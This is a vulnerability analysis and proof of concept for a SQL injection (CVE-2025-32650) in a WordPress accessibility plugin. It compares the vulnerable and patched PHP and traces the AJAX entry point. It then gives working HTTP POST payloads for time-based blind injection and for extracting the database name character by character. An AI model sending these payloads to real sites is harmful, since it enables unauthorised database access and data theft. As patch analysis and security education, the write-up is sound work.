CVE-2025-32650 Analysis & POC

The vulnerability occurs in the Accessibility Suite plugin for WordPress before version 4.19. This allows an attacker to directly interact with the database, potentially stealing sensitive information.
- CVE ID: CVE-2025-32650
- Product: WordPress Accessibility Suite Plugin
- Vulnerability Type: SQL Injection
- Affected Versions: <= 4.18
- CVSS Severity: High (8.5)
- Required Privilege: Subscriber
1 Requirements
- Local WordPress & Debugging: Local WordPress and Debugging.
- Accessibility Suite: v4.18 (vulnerable) and v4.19 (patched)
- Diff tool: meld or any other comparison tool to spot version differences
2 Analysis
The plugin failed to properly typecast user input. Although it used prepare()
to prevent SQLi, the implementation was incorrect, leaving the vulnerability exploitable.
2.1 Patch Diff
Use any diff tool to compare the vulnerable and patched versions. A key difference appears in includes/classes/Helper.php.
static function save_false_positive($scan_id, $issue_id){
// other logic
if(! is_admin()) {
return '';
}
// other logic
$list = json_decode(
$wpdb->get_results($wpdb->prepare("SELECT list FROM $table_name WHERE scan_id = $scan_id"))[0]->list // phpcs:ignore
);
}
The patched version passes $scan_id
as a parameter to the query instead of directly concatenating it.
static function save_false_positive($scan_id, $issue_id){
// other logic
if(! is_admin()) {
return '';
}
// other logic
$scan_id = absint($scan_id); // Ensure scan_id is a positive integer
if (!$scan_id) {
return ["status" => "failed", "msg" => "Invalid scan ID"];
}
// Get list using properly prepared query
$query = $wpdb->prepare(
"SELECT list FROM %i WHERE scan_id = %d",
$table_name,
$scan_id
);
$result = $wpdb->get_results($query);
}

Patch Diff
2.2 How it works
The vulnerability resides in the static function save_false_positive
of class Helper
in includes/classes/Helper.php.
To locate where itโs called, search for save_false_positive
in the plugin directory.

Search Function Call
๐ The save_false_positive
function is called as a callback by the action hook wp_ajax_ONLINE_ADAv4/save_false_positive
.
When a POST request is sent to /wp-admin/admin-ajax.php
with
action=ONLINE_ADAv4/save_false_positive
, the callback is executed.
It requires two POST parameters: issue_id
and scan_id
.
If theyโre missing, the app returns:
{"status":"failed","msg":"Did not receive the scan ID or the issue ID"}
The function checks if the user has admin privileges; if not, it returns an empty string.
if(! is_admin()) {
return '';
}
Then, the parameters are directly concatenated into the vulnerable SQL query.
3 Exploit
3.1 Detecting the SQLi
Send a POST request containing an SQLi payload.
Since it only requires an authenticated user with access to /wp-admin/
, we can use a subscriber role โ the lowest privilege in WordPress.
Higher roles inherit lower privileges, so this confirms the CVEโs description.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
...
Cookie: cookie_here
action=ONLINE_ADAv4/save_false_positive&issue_id=1&scan_id=1 UNION SELECT SLEEP(5)
The resulting SQL query becomes:
SELECT list FROM wp_oada_false_positives WHERE scan_id = 1 UNION SELECT SLEEP(5)

Time-based SQLi Response
๐ The delayed response confirms that the SQLi payload works.
Alternative techniques for empty tables:
UNION โ works even when the base query returns no rows, but you must find the correct column count.
Subquery:
- In WHERE clause: MySQL may optimize it away if results are predictable.
- In FROM clause: The subquery executes first to create a temporary table, ensuring the injected query runs.

SQL Execution Order Diagram
3.2 Extracting the First Letter of the Database Name
To fully dump data, we first confirm that SQLi allows reading at least one character from the database name.
Use this payload:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
...
Cookie: cookie_here
action=ONLINE_ADAv4/save_false_positive&issue_id=1&scan_id=1 UNION SELECT IF(SUBSTRING(SCHEMA(),1,1)=0x77, SLEEP(5), 1)
The query uses SUBSTRING()
to extract the first character of the database name.
If it equals 'w'
(0x77
in hex), it triggers SLEEP(5)
.
Since scan_id
is escaped, hex encoding ensures payload integrity.
๐ Based on the delayed response โ the first character is indeed w
.
4 Conclusion
The vulnerability CVE-2025-32650 in the Accessibility Suite WordPress plugin (before version 4.19) stems from improper use of $wpdb->prepare()
, leading to a SQL Injection.
The official patch correctly uses $wpdb->prepare()
, ensuring safe handling of user input.
Key takeaways:
- Always use
$wpdb->prepare()
correctly when interacting with the WordPress database. - Keep plugins updated and perform regular security audits to prevent exploitation.